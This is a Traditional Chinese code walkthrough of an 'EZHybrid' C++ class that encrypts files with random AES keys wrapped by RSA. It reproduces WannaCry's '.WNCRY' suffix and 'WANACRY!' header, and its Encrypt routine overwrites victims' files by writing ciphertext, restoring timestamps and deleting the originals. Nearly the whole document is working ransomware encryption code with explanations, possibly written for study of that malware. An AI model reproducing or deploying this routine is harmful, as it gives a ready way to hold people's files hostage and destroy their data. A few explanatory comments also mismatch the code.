--- title : 14_EZHybrid --- # EZHybrid by WL, Liu Date : 2021-10-22 --- ## 壹、簡介 混合式加密程式碼的實現,在標頭檔引入RSA,在程式引入AES進行加密。 ## 標頭檔 ```cpp= #pragma once #include "EZRSA.h" #define EZH_SRCBUFFERSIZE 0x10000 #define EZH_IOBUFFERSIZE 0x100000 #define EZH_SUFFIX_CIPHER _T(".WNCRY") #define EZH_SUFFIX_TEMP _T(".WNCRYT") #define EZH_MAGIC "WANACRY!" #define EZH_ENCRYPT 4 ``` * 第7行,加密檔案之副檔名。 * 第8行,加密暫存檔之副檔名。 * 第11行,加密模式。 ```cpp=13 class EZHybrid { PEZRSA m_pEncRSA; PEZRSA m_pDecRSA; PUCHAR m_InBuffer; PUCHAR m_OutBuffer; ``` * 第15行,RSA加密物件。 * 第16行,RSA解密物件。 * 第17行,緩衝記憶體輸入。 * 第18行,緩衝記憶體輸出。 ```cpp=19 public: EZHybrid(); ~EZHybrid(); BOOL GenKey(); BOOL ImportPublicKey(PUCHAR, ULONG); BOOL ImportPrivateKey(PUCHAR, ULONG); BOOL ImportPublicKey(LPCTSTR); BOOL ImportPrivateKey(LPCTSTR); BOOL Encrypt(LPCTSTR); BOOL Decrypt(LPCTSTR); }; typedef EZHybrid* PEZHybrid; ``` * 第22行,亂數產生金鑰。 * 第23行,匯入公鑰。 * 第24行,匯入私鑰。 * 第25行,匯入公鑰檔。 * 第26行,匯入私鑰檔。 * 第27行,檔案加密。 * 第28行,檔案解密。 ## 主程式 ```cpp= #include "../config.h" #include "../Common/hexdump.h" #include "../Common/ezfile.h" #include "EZAES.h" #include "EZHybrid.h" static BOOL GenRandom( PUCHAR pbBuffer, ULONG cbBuffer) { NTSTATUS status = BCryptGenRandom( NULL, pbBuffer, cbBuffer, BCRYPT_USE_SYSTEM_PREFERRED_RNG); if (!NT_SUCCESS(status)) { DEBUG("BCryptGenRandom returns 0x%x\n", status); return FALSE; } return TRUE; } ``` * 第7行,記憶體中產生亂數。 * 第8行,記憶體地址。 * 第9行,記憶體大小。 * 第11行到第15行,指定記憶體大小並產生亂數。 ### 開始加密 ```cpp=25 EZHybrid::EZHybrid() { m_pEncRSA = NULL; m_pDecRSA = NULL; m_InBuffer = (PUCHAR)HeapAlloc( GetProcessHeap(), 0, EZH_IOBUFFERSIZE); m_OutBuffer = (PUCHAR)HeapAlloc( GetProcessHeap(), 0, EZH_IOBUFFERSIZE); return; } ``` * 第29到第32行,輸入緩衝區。 * 第33到第36行,輸出緩衝區。 ### 結束加密 ```cpp=40 EZHybrid::~EZHybrid() { if (m_pEncRSA) { delete m_pEncRSA; m_pEncRSA = NULL; } if (m_pDecRSA) { delete m_pDecRSA; m_pDecRSA = NULL; } if (m_InBuffer) { HeapFree(GetProcessHeap(), 0, m_InBuffer); m_InBuffer = NULL; } if (m_OutBuffer) { HeapFree(GetProcessHeap(), 0, m_OutBuffer); m_OutBuffer = NULL; } return; } ``` * 第43行,刪除RSA加密物件。 * 第44行,參數歸零。 * 第47行,刪除RSA解密物件。 * 第48行,參數歸零。 * 第51行,釋放緩衝區。 * 第52行,參數歸零。 * 第55行,釋放緩衝區。 * 第56行,參數歸零。 ### 產生RSA加密物件 ```cpp=61 BOOL EZHybrid::GenKey() { if (!m_pEncRSA) { m_pEncRSA = new EZRSA(); if (!m_pEncRSA) { return FALSE; } } return m_pEncRSA->GenKey(); } ``` * 第64行,產生新的RSA加密物件。 * 第69行,產生新的金鑰。 ### 匯入公鑰 ```cpp=72 BOOL EZHybrid::ImportPublicKey( PUCHAR pbPublicBlob, ULONG cbPublicBlob) { if (!m_pEncRSA) { m_pEncRSA = new EZRSA(); if (!m_pEncRSA) { return FALSE; } } BOOL bResult = m_pEncRSA->Import( BCRYPT_RSAPUBLIC_BLOB, pbPublicBlob, cbPublicBlob); return bResult; } ``` * 第77行,產生新的RSA加密物件。 * 第82行,匯入公鑰。 ### 匯入私鑰 ```cpp=89 BOOL EZHybrid::ImportPrivateKey( PUCHAR pbPrivateBlob, ULONG cbPrivateBlob) { if (!m_pDecRSA) { m_pDecRSA = new EZRSA(); if (!m_pDecRSA) { return FALSE; } } BOOL bResult = m_pDecRSA->Import( BCRYPT_RSAPRIVATE_BLOB, pbPrivateBlob, cbPrivateBlob); return bResult; } ``` * 第94行,產生新的RSA解密物件。 * 第99行,匯入私鑰。 ### 匯入公鑰 ```cpp=105 BOOL EZHybrid::ImportPublicKey( LPCTSTR PublicBlobFile) { if (!m_pEncRSA) { m_pEncRSA = new EZRSA(); if (!m_pEncRSA) { return FALSE; } } BOOL bResult = m_pEncRSA->Import( BCRYPT_RSAPUBLIC_BLOB, PublicBlobFile); return bResult; } ``` * 第109行,產生新的RSA加密物件。 * 第114行,匯入公鑰。 ### 匯入私鑰 ```cpp=120 BOOL EZHybrid::ImportPrivateKey( LPCTSTR PrivateBlobFile) { if (!m_pDecRSA) { m_pDecRSA = new EZRSA(); if (!m_pDecRSA) { return FALSE; } } BOOL bResult = m_pDecRSA->Import( BCRYPT_RSAPRIVATE_BLOB, PrivateBlobFile); DEBUG("ImportPrivateKey: return %d\n", bResult); return bResult; } ``` * 第124行,產生新的RSA解密物件。 * 第129行,匯入公鑰。 ### AES加密 ```cpp=139 BOOL EZHybrid::Encrypt( LPCTSTR pFileName) { UCHAR abMagic[8]; ULONG cbCipherKey; UCHAR abCipherKey[0x200]; ULONG EncryptOP = EZH_ENCRYPT; ULONG nCryptType = 0; LARGE_INTEGER ddwFileSize; PEZAES pAES = NULL; UCHAR abKey[16]; HANDLE hFile = INVALID_HANDLE_VALUE; HANDLE hWrite = INVALID_HANDLE_VALUE; ULONG cbRead = NULL, cbWrite = NULL; FILETIME CreationTime; FILETIME LastAccessTime; FILETIME LastWriteTime; BOOL bResult = TRUE; PUCHAR pbInBlock = m_InBuffer; ULONG cbInBlock = 0; PUCHAR pbOutBlock = m_InBuffer; ULONG cbOutBlock = 0; TCHAR pTempFile[MAX_PATH]; TCHAR pTarget[MAX_PATH]; ``` * 第142到第163行,加密所需參數。 * 第143行,已加密的AES金鑰大小。 * 第144行,以加密的AES金鑰。 * 第145行,加密模式。 * 第147行,檔案大小。 * 第148行,AES加密物件。 * 第149行,未加密之金鑰。 * 第150行,檔案讀取之handle。 * 第151行,檔案寫入之hamdle。 * 第152行,讀取及寫入之大小,都先設為NULL。 * 第153行,檔案生成時間。 * 第154行,檔案存取時間。 * 第155行,檔案更新時間。 * 第157行,輸入緩衝區。 * 第158行,輸入緩衝區大小。 * 第159行,輸出緩衝區。 * 第160行,輸出緩衝區大小。 * 第161行,暫存檔檔名。 * 第162行,輸出檔檔名。 ```cpp=163 if (!m_pEncRSA) { DEBUG("m_EncRSA is NULL, please call ImportPublicKey()\n"); return FALSE; } DEBUG("Encrypt %s\n", pFileName); _tcscpy_s(pTarget, MAX_PATH, pFileName); LPTSTR pSuffix = (LPTSTR)_tcsrchr(pTarget, _T('.')); if (!pSuffix) { _tcscat_s(pTarget, MAX_PATH, EZH_SUFFIX_CIPHER); } else { if (!_tcsicmp(pSuffix, EZH_SUFFIX_CIPHER) || !_tcsicmp(pSuffix, EZH_SUFFIX_TEMP)) { return TRUE; } else { _tcscat_s(pSuffix, MAX_PATH - _tcslen(pFileName), EZH_SUFFIX_CIPHER); } } // } ``` * 第168行,取得檔名。 * 第169行,取得副檔名("."之後的字串)。 * 第175行,檢查是否為加密檔。 * 第182到第184行,若不是,加密檔副檔名。 ```cpp=188 if (!(hFile = CreateFile( pFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL))) { DEBUG("Open %s for read error\n", pFileName); return FALSE; } DEBUG("Open %s for read\n", pFileName); ddwFileSize.QuadPart = 0; GetFileTime( hFile, &CreationTime, &LastAccessTime, &LastWriteTime); ``` * 第188行,開啟欲加密的檔案。 * 第202行,ddwFileSize屬於LARGE_INTEGER的型別,LARGE_INTEGER的結構如下: ```cpp typedef union _LARGE_INTEGER { struct { DWORD LowPart; LONG HighPart; } DUMMYSTRUCTNAME; struct { DWORD LowPart; LONG HighPart; } u; LONGLONG QuadPart; } LARGE_INTEGER; ``` &emsp;&emsp; DUMMYSTRUCTNAME由2部分组成。前面是低位的32位整数LowPart。後面就是高位的整数。u亦是如此。LARGE_INTEGER等價於LONGLONG的时候,也就是將此64位整数赋值。 * 第203行,取得檔案生成、存取及更新時間。 ```cpp=208 if (ReadFile_DEBUG( hFile, abMagic, sizeof(abMagic), &cbRead, 0) && !memcmp(abMagic, EZH_MAGIC, sizeof(abMagic)) && ReadFile_DEBUG( hFile, &cbCipherKey, sizeof(cbCipherKey), &cbRead, 0) && cbCipherKey <= sizeof(abCipherKey) && cbCipherKey == 0x100 && ReadFile_DEBUG( hFile, abCipherKey, 0x100, &cbRead, 0) && ReadFile_DEBUG( hFile, &nCryptType, sizeof(nCryptType), &cbRead, 0) && ReadFile_DEBUG( hFile, &ddwFileSize.QuadPart, sizeof(ddwFileSize), &cbRead, 0) && nCryptType == EncryptOP) { CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; DEBUG("Exit\n"); return TRUE; } ``` * 第208到第213行,讀取檔案標頭,並儲存於第152所設定之參數,以便表示錯誤原因。 * 第214行,檢測是否為magic。 * 第215到第220行,讀取已加密金鑰之大小,並儲存於第152所設定之參數,以便表示錯誤原因。 * 第223到第228行,讀取已加密金鑰,並儲存於第152所設定之參數,以便表示錯誤原因。 * 第229到第234行,讀取加密型態,並儲存於第152所設定之參數,以便表示錯誤原因。 * 第235到第240行,讀取檔案大小,並儲存於第152所設定之參數,以便表示錯誤原因。 * 第241行,確定加密模式與第229到第234行讀取之相同。 * 第242到第245行,前述讀取皆成功且形態正確,表示已成功加密檔案,故無需加密可直接離開。否則,繼續下面程式碼進行加密。 ```cpp=247 DEBUG("Write\n"); GetFileSizeEx(hFile, &ddwFileSize); SetFilePointer(hFile, 0, 0, FILE_BEGIN); DEBUG("FileSize: %lld\n", ddwFileSize.QuadPart); _stprintf_s(pTempFile, MAX_PATH, _T("%s%s"), pFileName, EZH_SUFFIX_TEMP); if ((hWrite = CreateFile( pTempFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) { DEBUG("Open temp file %s error\n", pTempFile); CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; DEBUG("Open %s for write error\n", pTempFile); return FALSE; } GenRandom(abKey, sizeof(abKey)); m_pEncRSA->Encrypt( abKey, sizeof(abKey), abCipherKey, sizeof(abCipherKey), &cbCipherKey); pAES = new EZAES(); pAES->GenKey(abKey, sizeof(abKey)); if (!WriteFile(hWrite, EZH_MAGIC, 8, &cbWrite, 0) || !WriteFile(hWrite, &cbCipherKey, sizeof(cbCipherKey), &cbWrite, 0) || !WriteFile(hWrite, abCipherKey, cbCipherKey, &cbWrite, 0) || !WriteFile(hWrite, &EncryptOP, sizeof(EncryptOP), &cbWrite, 0) || !WriteFile(hWrite, &ddwFileSize.QuadPart, sizeof(ddwFileSize.QuadPart), &cbWrite, 0)) { DEBUG("Write header error %s\n", pTempFile); goto Error_Exit; } ``` * 第248行,取得檔案大小。 * 第249行,設置至檔案起始位置。 * 第251及第252行,產生暫存檔之檔名,使用第8行所定義之副檔名。 * 第253到第266行,創造一暫存檔,並將handle回傳至第150行定義之參數。 * 第267行,以亂數產生AES密碼。 * 第268到第273行,以RSA對該密碼進行加密。 * 第274行,開啟新空間,以使用AES對檔案加密。 * 第275行,使用第267行之密碼,產生AES金鑰。 * 第276及第277行,寫出Magic。 * 第278及第279行,寫出已加密金鑰大小。 * 第280及第281行,寫出已加密金鑰。 * 第282及第283行,寫出加密模式。 * 第284到第288行,寫出檔案大小。 * 第291行,Error_Exit寫在第359到第369行,若發生錯誤時,關閉檔案回傳FALSE並離開。後面亦有出現,會將其忽略,到第359到第369行再詳細說明。 ```cpp=293 DEBUG("EncryptOP %p\n", &EncryptOP); hexdump((PUCHAR)&EncryptOP, sizeof(EncryptOP)); ULONG cbData; LARGE_INTEGER cbSize; cbSize.QuadPart = ddwFileSize.QuadPart; while (cbSize.QuadPart > 0) { cbInBlock = cbSize.QuadPart < EZH_IOBUFFERSIZE ? cbSize.LowPart : EZH_IOBUFFERSIZE; if (!ReadFile( hFile, pbInBlock, cbInBlock, &cbRead, 0) || cbRead != cbInBlock) { DEBUG("Read Block error %s\n", pFileName); goto Error_Exit; } cbOutBlock = ((cbInBlock + 15) >> 4) << 4; if (cbOutBlock > cbInBlock) { ZeroMemory(pbInBlock + cbInBlock, cbOutBlock - cbInBlock); } pAES->Encrypt( pbInBlock, cbOutBlock, pbOutBlock, EZH_IOBUFFERSIZE, &cbData); if (!WriteFile( hWrite, pbOutBlock, cbOutBlock, &cbWrite, 0) || cbWrite != cbOutBlock) { DEBUG("Write Block error %s\n", pTempFile); goto Error_Exit; } cbSize.QuadPart -= cbInBlock; } // } SetFileTime(hWrite, &CreationTime, &LastAccessTime, &LastWriteTime); // if (EncryptOP == DO_ENCRYPT) { CloseHandle(hWrite); CloseHandle(hFile); hWrite = INVALID_HANDLE_VALUE; hFile = INVALID_HANDLE_VALUE; bResult = MoveFile(pTempFile, pTarget); if (bResult) { SetFileAttributes(pTarget, FILE_ATTRIBUTE_NORMAL); DeleteFile(pFileName); } else { DeleteFile(pTempFile); } if (pAES) { delete pAES; pAES = NULL; } return bResult; Error_Exit: CloseHandle(hWrite); hWrite = INVALID_HANDLE_VALUE; CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; if (pAES) { delete pAES; pAES = NULL; } return FALSE; } ``` ### AES解密 ```cpp=373 BOOL EZHybrid::Decrypt(LPCTSTR pFileName) { TCHAR pTempFile[MAX_PATH]; TCHAR pTarget[MAX_PATH]; UCHAR abMagic[8]; ULONG cbCipherKey; UCHAR abCipherKey[0x200]; ULONG nCryptType = 0; LARGE_INTEGER ddwFileSize; UCHAR abKey[0x200]; ULONG cbKey; PEZAES pAES = NULL; HANDLE hFile = INVALID_HANDLE_VALUE; HANDLE hWrite = INVALID_HANDLE_VALUE; ULONG cbRead, cbWrite; FILETIME CreationTime; FILETIME LastAccessTime; FILETIME LastWriteTime; PUCHAR pbInBlock = m_InBuffer; ULONG cbInBlock = 0; PUCHAR pbOutBlock = m_OutBuffer; ULONG cbOutBlock = 0; BOOL bResult = TRUE; if (!m_pDecRSA) { DEBUG("m_DecRSA is NULL, please call ImportPrivateKey()\n"); return FALSE; } DEBUG("Decrypt %s\n", pFileName); if ((hFile = CreateFile( pFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) { return FALSE; } GetFileTime( hFile, &CreationTime, &LastAccessTime, &LastWriteTime); if (ReadFile(hFile, abMagic, sizeof(abMagic), &cbRead, 0) && !memcmp(abMagic, EZH_MAGIC, sizeof(abMagic)) && ReadFile(hFile, &cbCipherKey, sizeof(cbCipherKey), &cbRead, 0) && cbCipherKey <= sizeof(abCipherKey) && cbCipherKey == 0x100 && ReadFile(hFile, abCipherKey, 0x100, &cbRead, 0) && ReadFile(hFile, &nCryptType, sizeof(nCryptType), &cbRead, 0) && nCryptType == EZH_ENCRYPT && ReadFile(hFile, &ddwFileSize.QuadPart, sizeof(ddwFileSize.QuadPart), &cbRead, 0)) { _tcscpy_s(pTarget, MAX_PATH, pFileName); LPTSTR pSuffix = _tcsrchr(pTarget, _T('.')); DEBUG("magic:\n"); hexdump(abMagic, sizeof(abMagic)); if (pSuffix) { if (!_tcsicmp(pSuffix, EZH_SUFFIX_CIPHER)) { *pSuffix = _T('\0'); } else { _stprintf_s(pTarget, MAX_PATH, _T("%s%s"), pFileName, _T(".decoded")); } } _stprintf_s(pTempFile, MAX_PATH, _T("%s%s"), pFileName, EZH_SUFFIX_TEMP); if ((hWrite = CreateFile( pTempFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) { DEBUG("CreateFile %s fails\n", pTarget); goto Error_Exit; } LARGE_INTEGER cbSize; pAES = new EZAES(); m_pDecRSA->Decrypt( abCipherKey, cbCipherKey, abKey, sizeof(abKey), &cbKey); if (cbKey != 16) { _tprintf(_T("error: cbKey=%d not 16\n"), cbKey); goto Error_Exit; } pAES->GenKey(abKey, cbKey); ULONG cbData; for (cbSize.QuadPart = ddwFileSize.QuadPart; cbSize.QuadPart > 0; cbSize.QuadPart -= cbOutBlock) { cbOutBlock = cbSize.QuadPart < EZH_IOBUFFERSIZE ? cbSize.LowPart : EZH_IOBUFFERSIZE; cbInBlock = ((cbOutBlock + 15) >> 4) << 4; if (!ReadFile( hFile, pbInBlock, cbInBlock, &cbRead, 0) || cbRead != cbInBlock) { goto Error_Exit; } pAES->Decrypt( pbInBlock, cbInBlock, pbOutBlock, EZH_IOBUFFERSIZE, &cbData); if (!WriteFile( hWrite, pbOutBlock, cbOutBlock, &cbWrite, 0) || cbWrite != cbOutBlock) { DEBUG("Write block error %s\n", pTarget); goto Error_Exit; } } SetFileTime(hWrite, &CreationTime, &LastAccessTime, &LastWriteTime); // } } else { CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; return TRUE; } CloseHandle(hWrite); CloseHandle(hFile); hWrite = INVALID_HANDLE_VALUE; hFile = INVALID_HANDLE_VALUE; bResult = MoveFileEx( pTempFile, pTarget, MOVEFILE_REPLACE_EXISTING); if (bResult) { DeleteFile(pFileName); } if (pAES) { delete pAES; pAES = NULL; } return bResult; Error_Exit: CloseHandle(hWrite); hWrite = INVALID_HANDLE_VALUE; CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; if (pAES) { delete pAES; pAES = NULL; } return FALSE; } ```